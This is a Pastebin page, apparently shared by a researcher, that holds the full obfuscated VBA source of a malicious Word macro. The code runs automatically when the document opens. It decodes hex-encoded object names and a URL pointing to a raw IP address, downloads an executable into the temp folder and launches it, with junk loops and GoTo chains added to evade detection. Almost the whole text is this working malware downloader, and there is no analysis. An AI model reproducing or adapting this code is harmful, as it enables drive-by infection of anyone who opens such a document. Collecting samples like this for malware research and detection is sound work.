SHARE
TWEET

Malicious Word macro

dynamoo Feb 13th, 2015 281 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9.  
  10. Private Const nUe4Ab = "5368656C6C2E4170706C69636174696F6E"
  11. Private Const PYbGrEXRGi = "41444F44422E53747265616D"
  12. Private Const YFdMl = "536372697074696E672E46696C6553797374656D4F626A656374"
  13. Private Const Lg7Aw8VojXA = "474554"
  14. Private Const DJahAXEcL = "4D53584D4C322E584D4C48545450"
  15. Private Const PdwILpa = "5C64734848482E657865"
  16. Private Const VoN = "687474703A2F2F36322E37362E3138382E3232312F616B736A6464657277642F61736462776B2F64686F65692E657865"
  17. Private Const HsFYTVj = YFdMl
  18.  
  19. Sub autoopen()
  20.  
  21. Dim pLKmTlYcBcn As Integer
  22. pLKmTlYcBcn = 1817
  23. Do While pLKmTlYcBcn < 1817 + 10
  24. pLKmTlYcBcn = pLKmTlYcBcn + 1: DoEvents
  25. Loop
  26. Dim HHvvVfrTnSqI As Integer
  27. HHvvVfrTnSqI = 1723
  28. Do While HHvvVfrTnSqI < 1723 + 10
  29. HHvvVfrTnSqI = HHvvVfrTnSqI + 1: DoEvents
  30. Loop
  31. Dim fso, tempfile
  32. Dim wegAdivGbo As Integer
  33. wegAdivGbo = 867
  34. Do While wegAdivGbo < 867 + 10
  35. wegAdivGbo = wegAdivGbo + 1: DoEvents
  36. Loop
  37. Dim rTnSq As Integer
  38. rTnSq = 170
  39. Do While rTnSq < 170 + 10
  40. rTnSq = rTnSq + 1: DoEvents
  41. Loop
  42. Set fso = CreateObject(AgbcafPQeuUUkbdUu(HsFYTVj))
  43. Dim ocNpL As Integer
  44. ocNpL = 2324
  45. Do While ocNpL < 2324 + 10
  46. ocNpL = ocNpL + 1: DoEvents
  47. Loop
  48. Dim ijsPxbqQdwuaUVTZJCJ As Integer
  49. ijsPxbqQdwuaUVTZJCJ = 1594
  50. Do While ijsPxbqQdwuaUVTZJCJ < 1594 + 10
  51. ijsPxbqQdwuaUVTZJCJ = ijsPxbqQdwuaUVTZJCJ + 1: DoEvents
  52. Loop
  53.  
  54. Dim HJqJP As Integer
  55. HJqJP = 929
  56. Do While HJqJP < 929 + 10
  57. HJqJP = HJqJP + 1: DoEvents
  58. Loop
  59. Dim cyKZGYKOo As Integer
  60. cyKZGYKOo = 2398
  61. Do While cyKZGYKOo < 2398 + 10
  62. cyKZGYKOo = cyKZGYKOo + 1: DoEvents
  63. Loop
  64. Dim tfolder, tname, tfile
  65. Dim IgnuZlkAE As Integer
  66. IgnuZlkAE = 2401
  67. Do While IgnuZlkAE < 2401 + 10
  68. IgnuZlkAE = IgnuZlkAE + 1: DoEvents
  69. Loop
  70. Dim HxdYZQcMF As Integer
  71. HxdYZQcMF = 2271
  72. Do While HxdYZQcMF < 2271 + 10
  73. HxdYZQcMF = HxdYZQcMF + 1: DoEvents
  74. Loop
  75. Const TemporaryFolder = 2
  76. Dim AEHyYn As Integer
  77. AEHyYn = 531
  78. Do While AEHyYn < 531 + 10
  79. AEHyYn = AEHyYn + 1: DoEvents
  80. Loop
  81. Dim DTYaRrTyjeS As Integer
  82. DTYaRrTyjeS = 1924
  83. Do While DTYaRrTyjeS < 1924 + 10
  84. DTYaRrTyjeS = DTYaRrTyjeS + 1: DoEvents
  85. Loop
  86. Set tfolder = fso.GetSpecialFolder(TemporaryFolder)
  87. Dim uZlkAEH As Integer
  88. uZlkAEH = 818
  89. Do While uZlkAEH < 818 + 10
  90. uZlkAEH = uZlkAEH + 1: DoEvents
  91. Loop
  92. Dim ZGYKOocaTm As Integer
  93. ZGYKOocaTm = 1164
  94. Do While ZGYKOocaTm < 1164 + 10
  95. ZGYKOocaTm = ZGYKOocaTm + 1: DoEvents
  96. Loop
  97. strLink = AgbcafPQeuUUkbdUu(VoN)
  98. Dim ASCZISZUhy As Integer
  99. ASCZISZUhy = 1450
  100. Do While ASCZISZUhy < 1450 + 10
  101. ASCZISZUhy = ASCZISZUhy + 1: DoEvents
  102. Loop
  103. Dim BCMVQ As Integer
  104. BCMVQ = 690
  105. Do While BCMVQ < 690 + 10
  106. BCMVQ = BCMVQ + 1: DoEvents
  107. Loop
  108.  
  109. Dim DVSpZkpmxO As Integer
  110. DVSpZkpmxO = 1704
  111. Do While DVSpZkpmxO < 1704 + 10
  112. DVSpZkpmxO = DVSpZkpmxO + 1: DoEvents
  113. Loop
  114. Dim wRFOmh As Integer
  115. wRFOmh = 944
  116. Do While wRFOmh < 944 + 10
  117. wRFOmh = wRFOmh + 1: DoEvents
  118. Loop
  119. strSaveTo = tfolder & AgbcafPQeuUUkbdUu(PdwILpa)
  120. Dim tcbOAc As Integer
  121. tcbOAc = 2113
  122. Do While tcbOAc < 2113 + 10
  123. tcbOAc = tcbOAc + 1: DoEvents
  124. Loop
  125. Dim PjrhMHIGLw As Integer
  126. PjrhMHIGLw = 151
  127. Do While PjrhMHIGLw < 151 + 10
  128. PjrhMHIGLw = PjrhMHIGLw + 1: DoEvents
  129. Loop
  130.  
  131. Dim NfQUuU As Integer
  132. NfQUuU = 861
  133. Do While NfQUuU < 861 + 10
  134. NfQUuU = NfQUuU + 1: DoEvents
  135. Loop
  136. Dim YlMgLkBNBzt As Integer
  137. YlMgLkBNBzt = 1684
  138. Do While YlMgLkBNBzt < 1684 + 10
  139. YlMgLkBNBzt = YlMgLkBNBzt + 1: DoEvents
  140. Loop
  141.  
  142. Dim fQUuUgaspMi As Integer
  143. fQUuUgaspMi = 514
  144. Do While fQUuUgaspMi < 514 + 10
  145. fQUuUgaspMi = fQUuUgaspMi + 1: DoEvents
  146. Loop
  147. Dim BNBztL As Integer
  148. BNBztL = 1241
  149. Do While BNBztL < 1241 + 10
  150. BNBztL = BNBztL + 1: DoEvents
  151. Loop
  152. Set objHTTP = CreateObject(AgbcafPQeuUUkbdUu(DJahAXEcL))
  153. Dim UgaspMiG As Integer
  154. UgaspMiG = 769
  155. Do While UgaspMiG < 769 + 10
  156. UgaspMiG = UgaspMiG + 1: DoEvents
  157. Loop
  158. Dim qTkPQqxnSNMRDwDiIuJNQ As Integer
  159. qTkPQqxnSNMRDwDiIuJNQ = 641
  160. Do While qTkPQqxnSNMRDwDiIuJNQ < 641 + 10
  161. qTkPQqxnSNMRDwDiIuJNQ = qTkPQqxnSNMRDwDiIuJNQ + 1: DoEvents
  162. Loop
  163.  
  164. Dim bruxp As Integer
  165. bruxp = 896
  166. Do While bruxp < 896 + 10
  167. bruxp = bruxp + 1: DoEvents
  168. Loop
  169. Dim pzUiU As Integer
  170. pzUiU = 40
  171. Do While pzUiU < 40 + 10
  172. pzUiU = pzUiU + 1: DoEvents
  173. Loop
  174.  
  175. Dim UJeTKZjRRErS As Integer
  176. UJeTKZjRRErS = 2443
  177. Do While UJeTKZjRRErS < 2443 + 10
  178. UJeTKZjRRErS = UJeTKZjRRErS + 1: DoEvents
  179. Loop
  180. Dim oOpAuMvRBMSO As Integer
  181. oOpAuMvRBMSO = 53
  182. Do While oOpAuMvRBMSO < 53 + 10
  183. oOpAuMvRBMSO = oOpAuMvRBMSO + 1: DoEvents
  184. Loop
  185. objHTTP.Open AgbcafPQeuUUkbdUu(Lg7Aw8VojXA), strLink, False
  186. Dim uVsESARDHh As Integer
  187. uVsESARDHh = 1793
  188. Do While uVsESARDHh < 1793 + 10
  189. uVsESARDHh = uVsESARDHh + 1: DoEvents
  190. Loop
  191. Dim ZIrtNq As Integer
  192. ZIrtNq = 1729
  193. Do While ZIrtNq < 1729 + 10
  194. ZIrtNq = ZIrtNq + 1: DoEvents
  195. Loop
  196. objHTTP.send
  197. Dim GlLxNQTL As Integer
  198. GlLxNQTL = 1951
  199. Do While GlLxNQTL < 1951 + 10
  200. GlLxNQTL = GlLxNQTL + 1: DoEvents
  201. Loop
  202. Dim xAsQgZIr As Integer
  203. xAsQgZIr = 1413
  204. Do While xAsQgZIr < 1413 + 10
  205. xAsQgZIr = xAsQgZIr + 1: DoEvents
  206. Loop
  207.  
  208. Dim mUUHu As Integer
  209. mUUHu = 2014
  210. Do While mUUHu < 2014 + 10
  211. mUUHu = mUUHu + 1: DoEvents
  212. Loop
  213. Dim OpAuMvR As Integer
  214. OpAuMvR = 906
  215. Do While OpAuMvR < 906 + 10
  216. OpAuMvR = OpAuMvR + 1: DoEvents
  217. Loop
  218. Set objFSO = CreateObject(AgbcafPQeuUUkbdUu(HsFYTVj))
  219. Dim tMgzu As Integer
  220. tMgzu = 1942
  221. Do While tMgzu < 1942 + 10
  222. tMgzu = tMgzu + 1: DoEvents
  223. Loop
  224. Dim EQiwEFOmhK As Integer
  225. EQiwEFOmhK = 1628
  226. Do While EQiwEFOmhK < 1628 + 10
  227. EQiwEFOmhK = EQiwEFOmhK + 1: DoEvents
  228. Loop
  229. If objFSO.FileExists(strSaveTo) Then
  230. Dim LKykL As Integer
  231. LKykL = 1815
  232. Do While LKykL < 1815 + 10
  233. LKykL = LKykL + 1: DoEvents
  234. Loop
  235. Dim sRRsB As Integer
  236. sRRsB = 328
  237. Do While sRRsB < 328 + 10
  238. sRRsB = sRRsB + 1: DoEvents
  239. Loop
  240.   objFSO.DeleteFile (strSaveTo)
  241. Dim kLiuIqHu As Integer
  242. kLiuIqHu = 1690
  243. Do While kLiuIqHu < 1690 + 10
  244. kLiuIqHu = kLiuIqHu + 1: DoEvents
  245. Loop
  246. Dim lzvesR As Integer
  247. lzvesR = 1151
  248. Do While lzvesR < 1151 + 10
  249. lzvesR = lzvesR + 1: DoEvents
  250. Loop
  251. End If
  252. Dim LJDVSpLkpmxAlmvFAetMgzu As Integer
  253. LJDVSpLkpmxAlmvFAetMgzu = 1942
  254. Do While LJDVSpLkpmxAlmvFAetMgzu < 1942 + 10
  255. LJDVSpLkpmxAlmvFAetMgzu = LJDVSpLkpmxAlmvFAetMgzu + 1: DoEvents
  256. Loop
  257. Dim woNqUSAp As Integer
  258. woNqUSAp = 437
  259. Do While woNqUSAp < 437 + 10
  260. woNqUSAp = woNqUSAp + 1: DoEvents
  261. Loop
  262.  
  263. Dim QJQvH As Integer
  264. QJQvH = 2493
  265. Do While QJQvH < 2493 + 10
  266. QJQvH = QJQvH + 1: DoEvents
  267. Loop
  268. Dim GLITlzHI As Integer
  269. GLITlzHI = 1608
  270. Do While GLITlzHI < 1608 + 10
  271. GLITlzHI = GLITlzHI + 1: DoEvents
  272. Loop
  273. If objHTTP.Status = 200 Then
  274. Dim ntpADSopzID As Integer
  275. ntpADSopzID = 1957
  276. Do While ntpADSopzID < 1957 + 10
  277. ntpADSopzID = ntpADSopzID + 1: DoEvents
  278. Loop
  279. Dim ITlzHIRqkN As Integer
  280. ITlzHIRqkN = 692
  281. Do While ITlzHIRqkN < 692 + 10
  282. ITlzHIRqkN = ITlzHIRqkN + 1: DoEvents
  283. Loop
  284.   Dim objStream
  285. Dim DhwPkCxnSb As Integer
  286. DhwPkCxnSb = 597
  287. Do While DhwPkCxnSb < 597 + 10
  288. DhwPkCxnSb = DhwPkCxnSb + 1: DoEvents
  289. Loop
  290. Dim MUJpllko As Integer
  291. MUJpllko = 682
  292. Do While MUJpllko < 682 + 10
  293. MUJpllko = MUJpllko + 1: DoEvents
  294. Loop
  295.   Set objStream = CreateObject(AgbcafPQeuUUkbdUu(PYbGrEXRGi))
  296. Dim ruIeg As Integer
  297. ruIeg = 2425
  298. Do While ruIeg < 2425 + 10
  299. ruIeg = ruIeg + 1: DoEvents
  300. Loop
  301. Dim muHjDiGYyZewfCmw As Integer
  302. muHjDiGYyZewfCmw = 1251
  303. Do While muHjDiGYyZewfCmw < 1251 + 10
  304. muHjDiGYyZewfCmw = muHjDiGYyZewfCmw + 1: DoEvents
  305. Loop
  306.   With objStream
  307. Dim uIegpzu As Integer
  308. uIegpzu = 2265
  309. Do While uIegpzu < 2265 + 10
  310. uIegpzu = uIegpzu + 1: DoEvents
  311. Loop
  312. Dim MUJpllkognEfe As Integer
  313. MUJpllkognEfe = 874
  314. Do While MUJpllkognEfe < 874 + 10
  315. MUJpllkognEfe = MUJpllkognEfe + 1: DoEvents
  316. Loop
  317.     .Type = 1
  318. Dim dwrgLUVTZJ As Integer
  319. dwrgLUVTZJ = 1298
  320. Do While dwrgLUVTZJ < 1298 + 10
  321. dwrgLUVTZJ = dwrgLUVTZJ + 1: DoEvents
  322. Loop
  323. Dim jeHJqwPYMt As Integer
  324. jeHJqwPYMt = 1361
  325. Do While jeHJqwPYMt < 1361 + 10
  326. jeHJqwPYMt = jeHJqwPYMt + 1: DoEvents
  327. Loop
  328.     .Open
  329. Dim xbqJdwrgL As Integer
  330. xbqJdwrgL = 853
  331. Do While xbqJdwrgL < 853 + 10
  332. xbqJdwrgL = xbqJdwrgL + 1: DoEvents
  333. Loop
  334. Dim oonsdkr As Integer
  335. oonsdkr = 2058
  336. Do While oonsdkr < 2058 + 10
  337. oonsdkr = oonsdkr + 1: DoEvents
  338. Loop
  339.     .Write objHTTP.responseBody
  340. Dim JOAtAfrrGK As Integer
  341. JOAtAfrrGK = 594
  342. Do While JOAtAfrrGK < 594 + 10
  343. JOAtAfrrGK = JOAtAfrrGK + 1: DoEvents
  344. Loop
  345. Dim mFNDje As Integer
  346. mFNDje = 2269
  347. Do While mFNDje < 2269 + 10
  348. mFNDje = mFNDje + 1: DoEvents
  349. Loop
  350.     .SaveToFile strSaveTo
  351. Dim dZkoCYajsnQh As Integer
  352. dZkoCYajsnQh = 183
  353. Do While dZkoCYajsnQh < 183 + 10
  354. dZkoCYajsnQh = dZkoCYajsnQh + 1: DoEvents
  355. Loop
  356. Dim pZvfqwsDUjrs As Integer
  357. pZvfqwsDUjrs = 1289
  358. Do While pZvfqwsDUjrs < 1289 + 10
  359. pZvfqwsDUjrs = pZvfqwsDUjrs + 1: DoEvents
  360. Loop
  361.     .Close
  362. Dim hlKzwqIF As Integer
  363. hlKzwqIF = 942
  364. Do While hlKzwqIF < 942 + 10
  365. hlKzwqIF = hlKzwqIF + 1: DoEvents
  366. Loop
  367. Dim QcpmUiHH As Integer
  368. QcpmUiHH = 639
  369. Do While QcpmUiHH < 639 + 10
  370. QcpmUiHH = QcpmUiHH + 1: DoEvents
  371. Loop
  372.   End With
  373. Dim QuZIEtN As Integer
  374. QuZIEtN = 226
  375. Do While QuZIEtN < 226 + 10
  376. QuZIEtN = QuZIEtN + 1: DoEvents
  377. Loop
  378. Dim hZxMFYauQcpm As Integer
  379. hZxMFYauQcpm = 1301
  380. Do While hZxMFYauQcpm < 1301 + 10
  381. hZxMFYauQcpm = hZxMFYauQcpm + 1: DoEvents
  382. Loop
  383.   Set objStream = Nothing
  384. Dim xAsQuZIE As Integer
  385. xAsQuZIE = 37
  386. Do While xAsQuZIE < 37 + 10
  387. xAsQuZIE = xAsQuZIE + 1: DoEvents
  388. Loop
  389. Dim ejrhMUVTZw As Integer
  390. ejrhMUVTZw = 195
  391. Do While ejrhMUVTZw < 195 + 10
  392. ejrhMUVTZw = ejrhMUVTZw + 1: DoEvents
  393. Loop
  394. End If
  395. Dim LkQuJqwPY As Integer
  396. LkQuJqwPY = 799
  397. Do While LkQuJqwPY < 799 + 10
  398. LkQuJqwPY = LkQuJqwPY + 1: DoEvents
  399. Loop
  400. Dim xMiVfC As Integer
  401. xMiVfC = 1145
  402. Do While xMiVfC < 1145 + 10
  403. xMiVfC = xMiVfC + 1: DoEvents
  404. Loop
  405.  
  406. Dim fgBCLkQuJqw As Integer
  407. fgBCLkQuJqw = 2126
  408. Do While fgBCLkQuJqw < 2126 + 10
  409. fgBCLkQuJqw = fgBCLkQuJqw + 1: DoEvents
  410. Loop
  411. Dim egMhmukPZ As Integer
  412. egMhmukPZ = 1445
  413. Do While egMhmukPZ < 1445 + 10
  414. egMhmukPZ = egMhmukPZ + 1: DoEvents
  415. Loop
  416. If objFSO.FileExists(strSaveTo) Then
  417. Dim QijEFPnTx As Integer
  418. QijEFPnTx = 525
  419. Do While QijEFPnTx < 525 + 10
  420. QijEFPnTx = QijEFPnTx + 1: DoEvents
  421. Loop
  422. Dim dyLylMihJrI As Integer
  423. dyLylMihJrI = 1443
  424. Do While dyLylMihJrI < 1443 + 10
  425. dyLylMihJrI = dyLylMihJrI + 1: DoEvents
  426. Loop
  427.  
  428. Dim hYmwffR As Integer
  429. hYmwffR = 1063
  430. Do While hYmwffR < 1063 + 10
  431. hYmwffR = hYmwffR + 1: DoEvents
  432. Loop
  433. Dim uxAsR As Integer
  434. uxAsR = 740
  435. Do While uxAsR < 740 + 10
  436. uxAsR = uxAsR + 1: DoEvents
  437. Loop
  438. End If
  439. Dim lLKbQTLkNsqY As Integer
  440. lLKbQTLkNsqY = 1942
  441. Do While lLKbQTLkNsqY < 1942 + 10
  442. lLKbQTLkNsqY = lLKbQTLkNsqY + 1: DoEvents
  443. Loop
  444. Dim xAsRgZJr As Integer
  445. xAsRgZJr = 1434
  446. Do While xAsRgZJr < 1434 + 10
  447. xAsRgZJr = xAsRgZJr + 1: DoEvents
  448. Loop
  449.  Set GBIviviu67FUGBK = CreateObject(AgbcafPQeuUUkbdUu(nUe4Ab))
  450. Dim UHIjsEhAfDVi As Integer
  451. UHIjsEhAfDVi = 1814
  452. Do While UHIjsEhAfDVi < 1814 + 10
  453. UHIjsEhAfDVi = UHIjsEhAfDVi + 1: DoEvents
  454. Loop
  455. Dim bCkBo As Integer
  456. bCkBo = 975
  457. Do While bCkBo < 975 + 10
  458. bCkBo = bCkBo + 1: DoEvents
  459. Loop
  460. GBIviviu67FUGBK.Open strSaveTo
  461. Dim QOnQvtbPkbRf As Integer
  462. QOnQvtbPkbRf = 1543
  463. Do While QOnQvtbPkbRf < 1543 + 10
  464. QOnQvtbPkbRf = QOnQvtbPkbRf + 1: DoEvents
  465. Loop
  466. Dim EseFcbC As Integer
  467. EseFcbC = 183
  468. Do While EseFcbC < 183 + 10
  469. EseFcbC = EseFcbC + 1: DoEvents
  470. Loop
  471. End Sub
  472.  
  473.  
  474. Public Function AgbcafPQeuUUkbdUu(ByVal ERgNfQ As String) As String
  475. GoTo pNdVFnqKnrFP
  476. pNdVFnqKnrFP:
  477. GoTo lYzVTwevhlKl
  478. lYzVTwevhlKl:
  479. GoTo IFdyQOLQoC
  480. IFdyQOLQoC:
  481. Dim ujgaspMiGMIUYmH As String
  482. GoTo toQSzTZhQCLLKPmtAfs
  483. toQSzTZhQCLLKPmtAfs:
  484. GoTo KNFetmVEGbDIVSB
  485. KNFetmVEGbDIVSB:
  486. GoTo oPYlMgLkB
  487. oPYlMgLkB:
  488. GoTo DxPyVFPVRe
  489. DxPyVFPVRe:
  490. GoTo QSczuYaGMgodJEED
  491. QSczuYaGMgodJEED:
  492. GoTo AHYyxNDGyQA
  493. AHYyxNDGyQA:
  494. Dim SdQAQjDQQGmv As String
  495. GoTo zTKBOZHHvvVfrTnS
  496. zTKBOZHHvvVfrTnS:
  497. Dim uykdkObbr As Long
  498. GoTo IFzRPmVgmiuLLijsPxb
  499. IFzRPmVgmiuLLijsPxb:
  500. GoTo dwEuaUVTZJCJoOAQTQOo
  501. dwEuaUVTZJCJoOAQTQOo:
  502. GoTo gbPkbRfpZYL
  503. gbPkbRfpZYL:
  504. GoTo vHVDUGKlZQQjgCYxCzKN
  505. vHVDUGKlZQQjgCYxCzKN:
  506. GoTo zISNrGatMHwc
  507. zISNrGatMHwc:
  508. For uykdkObbr = 1 To Len(ERgNfQ) Step 2
  509. GoTo paSaERQh
  510. paSaERQh:
  511. GoTo fETLwegAd
  512. fETLwegAd:
  513. ujgaspMiGMIUYmH = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(ERgNfQ, uykdkObbr, 2)))
  514. GoTo bocNpLKmTlYcBcn
  515. bocNpLKmTlYcBcn:
  516. GoTo wSpNFBNetOCL
  517. wSpNFBNetOCL:
  518. GoTo HJqJPY
  519. HJqJPY:
  520. GoTo BCAFdjrUih
  521. BCAFdjrUih:
  522. SdQAQjDQQGmv = SdQAQjDQQGmv & ujgaspMiGMIUYmH
  523. GoTo vUkcMuwRuyMIrF
  524. vUkcMuwRuyMIrF:
  525. GoTo FObDQB
  526. FObDQB:
  527. GoTo RsDxPyVFPV
  528. RsDxPyVFPV:
  529. GoTo uJQScz
  530. uJQScz:
  531. Next uykdkObbr
  532. GoTo GMgod
  533. GMgod:
  534. GoTo EDItAHYyxNDGyQ
  535. EDItAHYyxNDGyQ:
  536. GoTo dKzTKB
  537. dKzTKB:
  538. GoTo HHvvVfrTnSqIUIFzRPmV
  539. HHvvVfrTnSqIUIFzRPmV:
  540. GoTo iuLLijsP
  541. iuLLijsP:
  542. GoTo qQdwE
  543. qQdwE:
  544. GoTo UVTZJ
  545. UVTZJ:
  546. AgbcafPQeuUUkbdUu = SdQAQjDQQGmv
  547. GoTo OAQTQOoQv
  548. OAQTQOoQv:
  549. GoTo PkbRf
  550. PkbRf:
  551. GoTo YLxZvHVDUGKlZQQjgCYx
  552. YLxZvHVDUGKlZQQjgCYx:
  553. GoTo KNdyzISNrGat
  554. KNdyzISNrGat:
  555. GoTo wclmkpaSaERQhln
  556. wclmkpaSaERQhln:
  557. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top